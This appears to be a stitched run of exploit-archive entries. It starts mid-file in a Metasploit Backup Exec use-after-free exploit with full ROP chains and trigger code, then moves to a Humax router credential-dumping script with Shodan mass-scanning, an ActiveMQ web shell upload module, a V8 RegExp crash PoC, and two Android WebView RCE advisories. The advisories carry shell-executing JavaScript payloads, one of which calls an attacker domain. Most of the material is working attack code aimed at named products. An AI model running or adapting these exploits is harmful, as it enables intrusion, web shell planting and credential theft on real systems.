0x63156a54, # pop edx; or al, 0xf6; ret
0x40, # PAGE_EXECUTE_READWRITE
0x6311e378, # pop edi; ret
0x63101564, # ret
0x631018aa, # pop eax; ret
0x6311c638, # push esp; ret
0x6311c618 # pushal; ret
]
stage_3[31] = stage_4.length + 4
elsif target.opts['Version'] == 16
stage_3 = [
0x6311e3c0, # pop edi; ret
0x63101564, # ret
0x63128a39, # pop esi; ret
0x6319f27c, # jmp dword ptr [KERNEL32!LoadLibraryAStub]
0x6310184f, # pop ebp; ret
0x631394ad, # add esp, 0x20; ret
0x6311c69c, # pushal; ret
'KERN'.unpack('<L')[0],
'EL32'.unpack('<L')[0],
'.dll'.unpack('<L')[0],
0,
0x6311e3c0, # pop edi; ret
0x631018aa, # pop eax; ret
0x6319959f, # mov ebp, eax; call edi
0x6311e3c0, # pop edi; ret
0x6319f21c, # jmp dword ptr [KERNEL32!GetProcessAddressStub]
0x63128a39, # pop esi; ret
0x631394ad, # add esp, 0x20; ret
0x6311c69c, # pushal; ret
'Virt'.unpack('<L')[0],
'ualP'.unpack('<L')[0],
'rote'.unpack('<L')[0],
"ct\0\0".unpack('<L')[0],
0x63128a39, # pop esi; ret
0x631018aa, # pop eax; ret
0x631993e6, # mov edi, eax; call esi
0x631375e6, # push esp; pop esi; ret
0x6312c0e8, # xchg eax, esi; ret
0x63128a39, # pop esi; ret
0x63133031, # pop ebx; pop ecx; ret
0x6314a34a, # push eax; call esi
0x631d830a, # push edi; sbb al, 0x5f; pop esi; pop ebp; pop ebx; ret
0x63101564, # ret
0,
0x63157084, # pop edx; or al, 0xf6; ret
0x40, # PAGE_EXECUTE_READWRITE
0x6311e3c0, # pop edi; ret
0x63101564, # ret
0x631018aa, # pop eax; ret
0x63134eb6, # push esp; ret
0x6311c69c # pushal; ret
]
stage_3[33] = stage_4.length + 4
end
stage_3 = stage_3.pack('L<*') + stage_4
end
if target.opts['Arch'] == ARCH_X64
if target.opts['Version'] == 14
stage_2 = [
0xbe40d1d, # pop r12; pop rsi; ret
0xbe1bca3, # pop r12; pop rbx; ret
0xbe399d0, # pop r13; ret
0xbe29954, # push rsp; and al, 0x70; mov rcx, rax; call r12
0xbe501a7, # mov rcx, rbx; call rsi
0xbe01f72, # pop rax; ret
0,
0xbe3d250, # add rax, rcx; ret
0xbe37f75, # push rax; pop rdi; ret
0xbe4f52c, # mov rax, qword ptr gs:[0x30]; ret
0xbe24263, # mov rax, qword ptr [rax + 8]; ret
0xbe1b055, # pop rbx; ret
0xfffffffffffff000,
0xbe501a7, # mov rcx, rbx; call rsi
0xbe3d250, # add rax, rcx; ret
0xbe1c2f9, # pop r12; ret
0xbe2ab32, # pop r8; ret
0xbe2987c, # mov rcx, rax; call r12
0xbe1b055, # pop rbx; ret
0xbe2ab32, # pop r8; ret
0xbe45935, # mov rdx, rdi; call rbx
0xbe01a29, # ret
0xbe2ab32, # pop r8; ret
0,
0xbe4fa46, # jmp qword ptr [MSVCR100!memcpy]
0xbe2987c, # mov rcx, rax; call r12
0xbe1cfc0 # mov rsp, r11; pop r12; ret (note need for extra ret at start of stage 3)
]
elsif target.opts['Version'] == 15
stage_2 = [
0xbe1e18e, # pop r12; pop rdi; ret
0xbebd50e, # pop r13; ret
0xbebc3fd, # pop r14; pop rbp; ret
0xbe9a8ac, # push rsp; and al, 0x20; mov r8d, ebx; mov rcx, rsi; call rdi
0xbe9ad68, # mov rcx, rbp; call r12
0xbe087c8, # pop rax; ret
0,
0xbe60dc0, # add rax, rcx; ret
0xbe43269, # push rax; pop rsi; ret
0xbebd24c, # mov rax, qword ptr gs:[0x30]; ret
0xbe3b0b3, # mov rax, qword ptr [rax + 8]; ret
0xbe1d923, # pop r12; pop rbx; ret
0xfffffffffffff000,
0xbe27c76, # pop r8; ret
0xbe45511, # mov rcx, r12; call rbx
0xbe60dc0, # add rax, rcx; ret
0xbe1df29, # pop r12; ret
0xbe27c76, # pop r8; ret
0xbe9b54c, # mov rcx, rax; call r12
0xbe01f72, # pop rax; ret
0xbe27c76, # pop r8; ret
0xbe4164c, # mov rdx, rsi; call rax
0xbeae99d, # pop r8; ret
0,
0xbebda22, # jmp qword ptr [MSVCR100!memcpy]
0xbe9b627, # mov rcx, rax; call r12
0xbeeb621 # push rcx; pop rsp; ret
]
elsif target.opts['Version'] == 16
stage_2 = [
0xbe1e18e, # pop r12; pop rdi; ret
0xbe45a01, # pop r13; ret
0xbe2a433, # pop r14; pop rbp; ret
0xbe9ba6c, # push rsp; and al, 0x20; mov r8d, ebx; mov rcx, rsi; call rdi
0xbe9bf28, # mov rcx, rbp; call r12
0xbe01f72, # pop rax; ret
0,
0xbe610f0, # add rax, rcx; ret
0xbe433b9, # push rax; pop rsi; ret
0xbebe74c, # mov rax, qword ptr gs:[0x30]; ret
0xbe3b1e3, # mov rax, qword ptr [rax + 8]; ret
0xbe1d923, # pop r12; pop rbx; ret
0xfffffffffffff000,
0xbe27c76, # pop r8; ret
0xbe45681, # mov rcx, r12; call rbx
0xbe610f0, # add rax, rcx; ret
0xbe1df29, # pop r12; ret
0xbe27c76, # pop r8; ret
0xbe9c70c, # mov rcx, rax; call r12
0xbe01f72, # pop rax; ret
0xbe27c76, # pop r8; ret
0xbe4179c, # mov rdx, rsi; call rax
0xbe27c76, # pop r8; ret
0,
0xbebef22, # jmp qword ptr [MSVCR100!memcpy]
0xbe9c70c, # mov rcx, rax; call r12
0xbeed611 # push rcx; pop rsp; ret
]
end
stage_2[6] = (stage_2.length - 4) * 8
stage_2[23] = stage_3.length
stage_2 = stage_2.pack('Q<*') + stage_3
else
if target.opts['Version'] == 14
stage_2 = [
0x63143720, # mov eax, dword ptr fs:[0x18]; ret
0x6311efa4, # mov eax, dword ptr [eax + 4]; ret
0x63129b75, # pop edi; pop ecx; ret
0xfffffff0,
0x100000000 - 0x2000,
0x63122eea, # and eax, edi; pop edi; pop esi; add esp, 0xc; ret
0x63129b75, # pop edi; pop ecx; ret
0x6310185a, # pop eax; ret
0,
0,
0,
0x63133912, # add eax, ecx; ret
0x63152ded, # mov ebx, eax; call esi
0x631309f4, # pop edx; or al, 0xf6; ret
0x6314cfa1, # xchg eax, esp; ret
0x6311db46, # push esp; pop esi; ret
0x6310185a, # pop eax; ret
0x6310185a, # pop eax; ret
0x631171d2, # mov ecx, esi; call eax
0x6310185a, # pop eax; ret
0,
0x63133912, # add eax, ecx; ret
0x631257f4, # push ebx; call edi
0x631546eb, # pop edi; ret
0x631543cb, # pop ebp; pop esi; pop edi; ret
0x63116faf, # pop ebx; ret
0x63143aec, # jmp dword ptr [MSVCR100!memcpy]
0x6315dde0, # cld; ret
0x63137a3c, # pushal; ret
0
]
stage_2[20] = (stage_2.length - 16) * 4
stage_2[29] = stage_3.length
elsif target.opts['Version'] == 15
stage_2 = [
0x631a6220, # mov eax, dword ptr fs:[0x18]; ret
0x6312e404, # mov eax, dword ptr [eax + 4]; ret
0x6313031d, # pop ebp; pop ecx; ret
0x100000000 - 0x2000,
0xfffffff0,
0x6316c73a, # and eax, ecx; pop esi; ret
0x6315c407, # pop ebx; pop ecx; ret
0x63192b17, # add eax, ebp; ret
0x63189809, # push eax; call esi
0x63156a54, # pop edx; or al, 0xf6; ret
0x6312c933, # xchg eax, esp; ret
0x63137496, # push esp; pop esi; ret
0x6314172a, # pop eax; ret
0,
0x6317e87d, # add eax, esi; pop edi; pop esi; pop ebx; ret
0x63156dd8, # pop edi; pop ebp; pop esi; ret
0,
0,
0x631729cd, # pop ebx; ret
0x631a65ec, # jmp dword ptr [MSVCR100!memcpy]
0x6311e250, # cld; ret
0x6311c618, # pushal; ret
0
]
stage_2[13] = (stage_2.length - 12) * 4
stage_2[22] = stage_3.length
elsif target.opts['Version'] == 16
stage_2 = [
0x631a7200, # mov eax, dword ptr fs:[0x18]; ret
0x6312e4a4, # mov eax, dword ptr [eax + 4]; ret
0x63128afc, # pop ecx; ret
0xfffffff0,
0x6316d13a, # and eax, ecx; pop esi; ret
0x63133031, # pop ebx; pop ecx; ret
0x63128afc, # pop ecx; ret
0x100000000 - 0x2000,
0x63142860, # add eax, ecx; ret
0x6314a34a, # push eax; call esi
0x63157084, # pop edx; or al, 0xf6; ret
0x6311c6c0, # xchg eax, esp; ret
0x631375e6, # push esp; pop esi; ret
0x631018aa, # pop eax; ret
0,
0x63135f56, # add eax, esi; add eax, ecx; pop esi; ret
0,
0x63157408, # pop edi; pop ebp; pop esi; ret
0x63157408, # pop edi; pop ebp; pop esi; ret
0,
0,
0x63181046, # sub eax, ecx; pop ebx; ret
0x631a75cc, # jmp dword ptr [MSVCR100!memcpy]
0x6311e298, # cld; ret
0x6311c69c, # pushal; ret
0
]
stage_2[14] = (stage_2.length - 13) * 4
stage_2[25] = stage_3.length
end
stage_2 = stage_2.pack('L<*') + stage_3
end
stage_2 + rand_text(stage_2.length & 1)
end
#
# Attempt to overwrite the freed BIO struct with stage 1 and trigger the use-after-free.
#
def attempt_triggers(s, spray_socks, spray_msg)
datastore['NumTriggerAttempts'].times do |x|
print_status('Spraying stage 1...')
(1..2).each do |phase|
spray_socks.each do |ss|
if phase == 1
return false unless ss.prepare_and_write_ndmp_msg(spray_msg, false, 50)
return true if @payload_connected || session_created?
else
50.times do
return false unless ss.read_ndmp_msg(spray_msg.header.type)
return true if @payload_connected || session_created?
end
end
end
end
sleep(1)
return true if @payload_connected || session_created?
# Send a certain amount of data per trigger attempt so that stage 1 will always end
# up jumping into the TLS/SSLv2 record at an expected location. The general idea is
# that the first write will complete Backup Exec's first recv operation, the second
# fills the buffer back up to an 8/4-byte aligned position, and the rest moves
# through the retsled
print_status("Triggering UAF, attempt #{x + 1}/#{datastore['NumTriggerAttempts']}...")
trigger = if target.opts['Version'] == 14
if x == 0
# A maximum of 5 bytes are always read at first, so just send them all at once
"\x16\x03\x01\x10\x00"
elsif x == 1
# Skip over TLS header structure
rand_text((target.opts['Arch'] == ARCH_X64 ? 0x18 : 0x10) - 5)
else
# Skip over a ROP NOP
rand_text(target.opts['Arch'] == ARCH_X64 ? 8 : 4)
end
else
if x == 0
# A maximum of 11 bytes are always read at first, so just send them all at once
"\x90\x00\x01\x03\x03" + rand_text(11 - 5)
elsif x == 1
# Skip over SSLv2 header structure
rand_text((target.opts['Arch'] == ARCH_X64 ? 0x20 : 0x10) - 11)
else
# Skip over a ROP NOP
rand_text(target.opts['Arch'] == ARCH_X64 ? 8 : 4)
end
end
return false unless s.raw_sendall(trigger, 0)
sleep(1)
return true if @payload_connected || session_created?
end
nil
end
#
# Attempt to overwrite the freed BIO struct with stage 1 and implicitly trigger the
# use-after-free in a race.
#
# For non-Windows 8+ targets, we need to race Backup Exec after the BIO struct is freed.
# This is because these versions of Windows overwrite the start of freed objects on the
# heap with the next offset in the freelist. We need to then overwrite this with our
# stage 1 spray otherwise Backup Exec will crash upon attempting to call the BIO
# struct's read callback upon re-entering SSL mode. This is less successful than the
# Windows 8+ case (which doesn't use a freelist, instead using a free bitmap), but it
# still works OK.
#
def attempt_race(s, spray_socks, spray_msg, ca_cert_id)
print_status('Spraying stage 1 while racing re-entering SSL mode on main socket...')
do_simple_ssl_request(s, SSLRequest::Opcode.start_ssl, ca_cert_id) do |is_pre|
unless is_pre
200.times do
spray_socks.each do |ss|
ss.prepare_and_write_ndmp_msg(spray_msg, 200)
return true if @payload_connected || session_created?
end
end
end
end
sleep(1)
@payload_connected || session_created?
end
end
# coding: utf-8
# Exploit Title: Humax Backup file download
# Date: 29/06/2017
# Exploit Author: gambler
# Vendor Homepage: http://humaxdigital.com
# Version: VER 2.0.6
# Tested on: OSX Linux
# CVE : CVE-2017-7315
import sys
import base64
import shodan
import requests
import subprocess
def banner():
print '''
██░ ██ █ ██ ███▄ ▄███▓ ▄▄▄ ▒██ ██▒
▓██░ ██▒ ██ ▓██▒▓██▒▀█▀ ██▒▒████▄ ▒▒ █ █ ▒░
▒██▀▀██░▓██ ▒██░▓██ ▓██░▒██ ▀█▄ ░░ █ ░
░▓█ ░██ ▓▓█ ░██░▒██ ▒██ ░██▄▄▄▄██ ░ █ █ ▒
░▓█▒░██▓▒▒█████▓ ▒██▒ ░██▒ ▓█ ▓██▒▒██▒ ▒██▒
▒ ░░▒░▒░▒▓▒ ▒ ▒ ░ ▒░ ░ ░ ▒▒ ▓▒█░▒▒ ░ ░▓ ░
▒ ░▒░ ░░░▒░ ░ ░ ░ ░ ░ ▒ ▒▒ ░░░ ░▒ ░
░ ░░ ░ ░░░ ░ ░ ░ ░ ░ ▒ ░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░
'''
print 'Description: Humax HG100R backup file download'
print 'Software Version: VER 2.0.6'
print 'SDK Version: 5.7.1mp1'
print 'IPv6 Stack Version: 1.2.2'
print 'Author: Gambler'
print 'Vulnerability founded: 14/03/2016'
print 'CVE: waiting'
print
def xplHelp():
print 'Exploit syntax error, Example:'
print 'python xpl.py http://192.168.0.1'
def exploit(server):
path = '/view/basic/GatewaySettings.bin'
if not server.startswith('http'):
server = 'http://%s' % server
if server.endswith('/'):
server = server[:-1]+''
url = '%s/%s' %(server,path)
print '[+] - Downloading configuration file and decoding'
try:
r = requests.get(url, stream=True,timeout=10)
for chunk in r.iter_content(chunk_size=1024):
if chunk:
rawdata = r.content
save(rawdata)
except:
pass
def save(rawdata):
config = base64.b64decode(rawdata).decode('ascii','ignore').replace('^@','')
open('config.txt', 'w').write(config)
print '[+] - Done, file saved as config.txt'
infos = subprocess.Popen(["strings config.txt | grep -A 1 admin"], shell=True,stdout=subprocess.PIPE).communicate()[0]
print '[+] - Credentials found'
print infos
def shodanSearch():
SHODAN_API_KEY = "SHODAN_API_KEY"
api = shodan.Shodan(SHODAN_API_KEY)
try:
results = api.search('Copyright © 2014 HUMAX Co., Ltd. All rights reserved.')
print 'Results found: %s' % results['total']
for result in results['matches']:
router = 'http://%s:%s' % (result['ip_str'],result['port'])
print router
exploit(router)
except shodan.APIError, e:
print 'Error: %s' % e
if __name__ == '__main__':
if len(sys.argv) < 2:
xplHelp()
sys.exit()
banner()
if sys.argv[1] == 'shodan':
shodanSearch()
else:
exploit(sys.argv[1])
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'ActiveMQ web shell upload',
'Description' => %q(
The Fileserver web application in Apache ActiveMQ 5.x before 5.14.0
allows remote attackers to upload and execute arbitrary files via an
HTTP PUT followed by an HTTP MOVE request.
),
'Author' => [ 'Ian Anderson <andrsn84[at]gmail.com>', 'Hillary Benson <1n7r1gu3[at]gmail.com>' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2016-3088' ],
[ 'URL', 'http://activemq.apache.org/security-advisories.data/CVE-2016-3088-announcement.txt' ]
],
'Privileged' => true,
'Platform' => %w{ java linux win },
'Targets' =>
[
[ 'Java Universal',
{
'Platform' => 'java',
'Arch' => ARCH_JAVA
}
],
[ 'Linux',
{
'Platform' => 'linux',
'Arch' => ARCH_X86
}
],
[ 'Windows',
{
'Platform' => 'win',
'Arch' => ARCH_X86
}
]
],
'DisclosureDate' => "Jun 01 2016",
'DefaultTarget' => 0))
register_options(
[
OptString.new('BasicAuthUser', [ true, 'The username to authenticate as', 'admin' ]),
OptString.new('BasicAuthPass', [ true, 'The password for the specified username', 'admin' ]),
OptString.new('JSP', [ false, 'JSP name to use, excluding the .jsp extension (default: random)', nil ]),
OptString.new('AutoCleanup', [ false, 'Remove web shells after callback is received', 'true' ]),
Opt::RPORT(8161)
])
register_advanced_options(
[
OptString.new('UploadPath', [false, 'Custom directory into which web shells are uploaded', nil])
])
end
def jsp_text(payload_name)
%{
<%@ page import="java.io.*"
%><%@ page import="java.net.*"
%><%
URLClassLoader cl = new java.net.URLClassLoader(new java.net.URL[]{new java.io.File(request.getRealPath("./#{payload_name}.jar")).toURI().toURL()});
Class c = cl.loadClass("metasploit.Payload");
c.getMethod("main",Class.forName("[Ljava.lang.String;")).invoke(null,new java.lang.Object[]{new java.lang.String[0]});
%>}
end
def exploit
jar_payload = payload.encoded_jar.pack
payload_name = datastore['JSP'] || rand_text_alpha(8 + rand(8))
host = "#{datastore['RHOST']}:#{datastore['RPORT']}"
@url = datastore['SSL'] ? "https://#{host}" : "http://#{host}"
paths = get_upload_paths
paths.each do |path|
if try_upload(path, jar_payload, payload_name)
break handler if trigger_payload(payload_name)
print_error('Unable to trigger payload')
end
end
end
def try_upload(path, jar_payload, payload_name)
['.jar', '.jsp'].each do |ext|
file_name = payload_name + ext
data = ext == '.jsp' ? jsp_text(payload_name) : jar_payload
move_headers = { 'Destination' => "#{@url}#{path}#{file_name}" }
upload_uri = normalize_uri('fileserver', file_name)
print_status("Uploading #{move_headers['Destination']}")
register_files_for_cleanup "#{path}#{file_name}" if datastore['AutoCleanup'].casecmp('true')
return error_out unless send_request('PUT', upload_uri, 204, 'data' => data) &&
send_request('MOVE', upload_uri, 204, 'headers' => move_headers)
@trigger_resource = /webapps(.*)/.match(path)[1]
end
true
end
def get_upload_paths
base_path = "#{get_install_path}/webapps"
custom_path = datastore['UploadPath']
return [normalize_uri(base_path, custom_path)] unless custom_path.nil?
[ "#{base_path}/api/", "#{base_path}/admin/" ]
end
def get_install_path
properties_page = send_request('GET', "#{@url}/admin/test/systemProperties.jsp").body
match = properties_page.tr("\n", '@').match(/activemq\.home<\/td>@\s*<td>([^@]+)<\/td>/)
return match[1] unless match.nil?
end
def send_request(method, uri, expected_response = 200, opts = {})
opts['headers'] ||= {}
opts['headers']['Authorization'] = basic_auth(datastore['BasicAuthUser'], datastore['BasicAuthPass'])
opts['headers']['Connection'] = 'close'
r = send_request_cgi(
{
'method' => method,
'uri' => uri
}.merge(opts)
)
return false if r.nil? || expected_response != r.code.to_i
r
end
def trigger_payload(payload_name)
send_request('POST', @url + @trigger_resource + payload_name + '.jsp')
end
def error_out
print_error('Upload failed')
@trigger_resource = nil
false
end
end
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1226
There are three variants of the below crash, all of which stemming from an unbound copy into a fixed size stack buffer allocated in the function ASFParser::SetMetaData, used as an argument to each of the three calls to the function unicodeToUtf_8 without checking that the output length will be less than the size of the buffer. You can see in the crashdump that the argv array has been overwritten by junk unicode output, resulting in the corrupted binary path displayed in the output.
I believe that this issue is mitigated by compiling with stack cookies, so I'm not applying the 90 day deadline to this issue since I don't think it's exploitable except as a denial-of-service.
*** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
Build fingerprint: 'lge/p1_global_com/p1:6.0/MRA58K/1624210305d45:user/release-keys'
Revision: '11'
ABI: 'arm'
pid: 435, tid: 435, name: mediaserver >>> �ు둢吟ѷἃ舄㹂慮춎䇛㾾攞䎤➹뽉龂팆顯浃桡>큾略혭拴畹㿺㬭똦➦쎪悸ꪰ뒇᭥릧㠙���褓悀䳘牀⛕鑆ࡢ���㹇䊌⾩ʘỬ操陊ꦑ䤮峇ᇱ빌屸쒫羮죾‘궈砜톢庋_䔗蛴ᰦ꿚肁࿗砘搒깷옮豩烙켯펤傁䅥툺帰Ŧ䥎ᢘ퐢옥ꤤࠨ᪗@���Ԃ깛Ȯ댁ૃ⒨待讍ꄌ鈤䄚戬㸵Ṣ䙌䠖咂徕琣༔ৰ씊塀⏆ð厔⁀呕!谀櫰ុì⪌跔띦䳊薵結စ䌷���๑髇#쀇붭
signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0xff951000
r0 ff951002 r1 f023b0ba r2 0000100e r3 ffffff8f
AM write failed: Broken pipe
r4 00000792 r5 f023bfde r6 f5f1c080 r7 efdfca69
r8 f1282348 r9 ff94fc70 sl f1282348 fp 00000012
ip 0000a3c6 sp ff94fc5c lr efdf7457 pc efdf4a9a cpsr 800f0030
backtrace:
#00 pc 00003a9a /system/lib/liblg_parser_asf.so (_Z14unicodeToUtf_8PhPti+85)
#01 pc 00006453 /system/lib/liblg_parser_asf.so (_ZN9ASFParser11SetMetaDataEP15meta_descriptor+186)
#02 pc 6b203432 <unknown>
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42285.zip
There is an out-of-bounds access in RegExp.prototype.exec and RegExp.prototype.test. The code defined in BranchIfFastRegExp checks whether a regular expression object has the default map, however, it is possible to alter the map after this check has been performed. This can cause inline fields, such as lastIndex to be changed to dictionary properties. This will cause out-of-bounds reads and writes the next time lastIndex is accessed on the fast path.
A minimal PoC is as follows, and two full PoCs (one for test and one for exec) are attached.
var re;
function f(){
for(var i = 0; i < 100; i++){
re["test" + i] = 0x77777777; // make a dict
}
return 0;
}
re = /-/g;
var str = '2016-01-02';
re.lastIndex = {valueOf : f};
result = re.exec(str);
This PoC crashes on google-chrome-beta on Linux.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42286.zip
# Exploit Title: eVestigator Forensic PenTester v1 - Remote Code Execution via MITM
# Date: 30/Jun/17
# Exploit Author: MaXe
# Vendor Homepage: https://play.google.com/store/apps/details?id=penetrationtest.eVestigator.com
# Software Link: See APK archive websites
# Screenshot: Refer to https://www.youtube.com/watch?v=cTu7yKTp8vc
# Version: V1
# Tested on: Android 4.0.3 (Google APIs) - API Level 15 - x86
# CVE : N/A
eVestigator Forensic PenTester - Remote Code Execution via MITM
Version affected: V1
App Info: The Android application reviewed, according to the developer, performs a "thorough forensic level Penetration Test". During run-time and reverse engineering analysis, it was discovered that the application does a connect() scan (i.e. TCP 3-way handshake) to all 65535 TCP ports, for the external IP address of the app user, with 10 simultaneous threads. However, in case a target has all 65535 TCP ports open, the application will actually report that there are 87375 "threats" (i.e. ports) open. Even after scanning all the ports, the application will continue to run forever, and for example count down from the same minute several times. (i.e. when the timer hits 14:00, it goes back up to 14:59)
The application does not report to the user which ports are open, and it does not provide a final report either. Nor does it even attempt to grab any service banners. If the "Send to eVestigator" button is clicked, none of the scan details are sent either. Instead, the external IP address along with other details about the Android environment + user-entered details are sent.
External Links:
https://play.google.com/store/apps/details?id=penetrationtest.eVestigator.com
https://www.amazon.com/eVestigator-Forensic-PenTester-Computer-Digital/dp/B01IF52TAU
Credits: MaXe (@InterN0T)
Special Thanks: no1special
Shouts: SubHacker and the rest of the awesome infosec community.
-:: The Advisory ::-
The Android application is vulnerable to Remote Code Execution via Man-In-The-Middle (MITM) attacks. This is caused by the following lines of code within the \penetrationtest\eVestigator\com\main.java file: (Lines 1589-1592)
mostCurrent._webview1.Initialize(mostCurrent.activityBA, "Webview1");
mostCurrent._webview1.Loadproton-Url("http://api.ipify.org/?format=txt");
WebViewExtras webViewExtras = mostCurrent._webviewextras1;
WebViewExtras.addJavascriptInterface(mostCurrent.activityBA, (WebView) mostCurrent._webview1.getObject(), "B4A");
In addition to the above, the following App configuration also aids in the exploitability of this issue: (File: AndroidManifest.xml, Line: 3)
<uses-sdk android:minSdkVersion="5" android:targetSdkVersion="19" />
If an attacker performs a MITM attack against "api.ipify.org" by e.g. hijacking the domain name, DNS, IP prefix, or by serving a malicious wireless access point (or hijacking a legitimate one), or by hacking the server at "api.ipify.org", then the attacker can instruct the Android application to execute attacker controlled Java code that the phone will execute in the context of the application.
The root cause of this vulnerability is caused by addJavascriptInterface() within the WebViewer, which in older API versions can be used to execute arbitrary Java code by using reflection to a ccess public methods with attacker provided JavaScript.
-:: Proof of Concept ::-
A successful MITM attack that makes "api.ipify.org" serve the following code:
<script>
function execute(cmd){
return B4A.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmd);
}
document.write(execute(['/system/bin/sh','-c','echo test > /data/data/penetrationtest.eVestigator.com/hax0r1tn0w']));
</script>
Will make the Android application create a new file in the App directory named: hax0r1tn0w
Instead of creating a new file, the attacker can also use the "drozer" payload for example. Refer to the references further below.
-:: Solution ::-
The Android app code should not use the addJavaScriptInterface() function. Instead the following code should be used:
WebView webView = new WebView(this);
setContentView(webView);
...
Alternatively, the application manifest should specify API levels JELLY_BEAN_MR1 and above as follows:
<manifest>
<uses-sdk android:minSdkVersion="17" />
...
</manifest>
The URL used ("http://api.ipify.org/?format=txt") should ALSO use HTTPS (and verify the hostname and certificate properly), because an attacker performing a MITM attack can otherwise force the application into scanning any target that the attacker desires. The URL used to get the external IP address of the user, should also be hosted by the developer and not a third party.
References:
http://50.56.33.56/blog/?p=314
https://developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface(java.lang.Object, java.lang.String)
https://labs.mwrinfosecurity.com/blog/webview-addjavascriptinterface-remote-code-execution/
https://labs.mwrinfosecurity.com/advisories/webview-addjavascriptinterface-remote-code-execution/
https://www.securecoding.cert.org/confluence/pages/viewpage.action?pageId=129859614
Filename: penetrationtest.eVestigator.com_2016-07-11.apk
File size: 1062059 Bytes
md5: FD4ACC4133526BE8106836D69867F9C1
sha1: C92D5184ABEFDBE12D53EBE2ADCE2CFABAB96E60
sha256: 12219EF02C714ECC8F3247D38EFC0E7DF36A9EA9C71507D7984D2C04E31CCE0B
App Name: eVestigator Simon Smith Forensics - PenTester
Package Name: penetrationtest.eVestigator.com
Package Version: V1
=== EOF ===
Video demo:
https://www.youtube.com/watch?v=cTu7yKTp8vc
Full POC Archive:
https://mega.nz/#!MHYjVCTZ!4rZhT99mi0-uTDmc_nA9sT0-xQeK-O_InYWWvMdVBFk
The following is the disclosure timeline:
25 June 2017 - Vendor is notified.
25 June 2017 - Vendor sends several threats of prosecution to InterN0T.
26 June 2017 - Vendor pulls apps from app store and does not intend to fix vulnerabilities.
29 June 2017 - Vendor files privacy and trademark complaints with YouTube.
30 June 2017 - All disclosure websites notified, including Exploit-DB.
# Exploit Title: Australian Education App - Remote Code Execution
# Date: 30/Jun/17
# Exploit Author: MaXe
# Vendor Homepage: https://play.google.com/store/apps/details?id=a1.bestsafebrowser2.com
# Software Link: See APK archive websites
# Screenshot: Refer to https://www.youtube.com/watch?v=_DCz0OqJzBI
# Version: v6
# Tested on: Android 4.1.0 (Google APIs) - API Level 16 - x86
# CVE : N/A
Australian Education App - Remote Code Execution (No MITM Required!)
Version affected: v6
App Info: The Android application reviewed, according to the developer, comes with all the benefits of "privacy" and "secure browsing", and special configuration for the Australian Education Industry.
External Links:
https://play.google.com/store/apps/details?id=a1.bestsafebrowser2.com
Credits: MaXe (@InterN0T)
Special Thanks: no1special
Shouts: SubHacker and the rest of the awesome infosec community.
-:: The Advisory ::-
The Android application is vulnerable to Remote Code Execution attacks. This is caused by the following lines of code within the
\a1\bestsafebrowser2\com\main.java file: (Lines 133 - 140)
public static String _activity_create(boolean bl) throws Exception {
main.mostCurrent._activity.RemoveAllViews();
Common.ProgressDialogShow(main.mostCurrent.activityBA, "Attempting to access the Internet");
new Phone();
Object object = mostCurrent;
_googleurl = "http://www.tsearch.com.au";
main.mostCurrent._activity.LoadLayout("Start", main.mostCurrent.activityBA);
object = main.mostCurrent._activity;
and
Lines 444 - 450:
public static String _tr_tick() throws Exception {
...
object = main.mostCurrent._webviewextras1;
WebViewExtras.clearCache((WebView)main.mostCurrent._webview1.getObject(), true);
object = main.mostCurrent._webviewextras1;
WebViewExtras.addJavascriptInterface(main.mostCurrent.activityBA, (WebView)main.mostCurrent._webview1.getObject(), "B4A");
object = main.mostCurrent._webview1;
object2 = mostCurrent;
object.Loadproton-Url(_googleurl);
In addition to the above, the following App configuration also aids in the exploitability of this issue: (File: AndroidManifest.xml, Line: 3)
<uses-sdk android:minSdkVersion="5" android:targetSdkVersion="14" />
If an attacker registers the domain "tsearch.com.au" (it is currently NOT registered) and creates a DNS record for "www.tsearch.com.au" then the attacker has full control over anyone who installs and runs this app. This vulnerability can be used to execute arbitrary Java code in the context of the application.
In addition to the above, in case someone has registered "tsearch.com.au", then if an attacker performs a MITM attack against "www.tsearch.com.au" by e.g. hijacking the domain name, DNS, IP prefix, or by serving a malicious wireless access point (or hijacking a legitimate one), or by hacking the server at "www.tsearch.com.au", then the attacker can also abuse this vulnerability.
The root cause of this vulnerability is caused by addJavascriptInterface() within the WebViewer, which in older API versions can be used to execute arbitrary Java code by using reflection to access public methods with attacker provided JavaScript.
-:: Proof of Concept ::-
A successful attack that makes "www.tsearch.com.au" serve the following code:
<script>
function execute(cmd){
return B4A.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmd);
}
execute(['/system/bin/sh', '-c', 'echo InterN0T was here > /data/data/a1.bestsafebrowser2.com/owned']);
execute(['/system/bin/sh', '-c', 'am start -a android.intent.action.VIEW -d "http://attacker-domain.tld/video.mp4"']);
</script>
This application has been owned.
Will make the Android application create a new file in the App directory named: owned, and also play a video chosen by the attacker as an example.
Instead of creating a new file, the attacker can also use the "drozer" payload for example. Refer to the references further below.
-:: Solution ::-
The Android app code should not use the addJavaScriptInterface() function. Instead the following code should be used:
WebView webView = new WebView(this);
setContentView(webView);
...
Alternatively, the application manifest should specify API levels JELLY_BEAN_MR1 and above as follows:
<manifest>
<uses-sdk android:minSdkVersion="17" />
...
</manifest>
The URL used ("http://www.tsearch.com.au") should ALSO use HTTPS (and verify the hostname and certificate properly).
Last but not least, the following code can also be used to determine whether the addJavascriptInterface should be enabled or not:
private void exposeJsInterface() {
if (VERSION.SDK_INT < 17) {
Log.i(TAG, "addJavascriptInterface() bridge disabled.");
} else {
addJavascriptInterface(Object, "EVENT_NAME_HERE");
}
}
References:
http://50.56.33.56/blog/?p=314
https://developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface(java.lang.Object, java.lang.String)
https://labs.mwrinfosecurity.com/blog/webview-addjavascriptinterface-remote-code-execution/
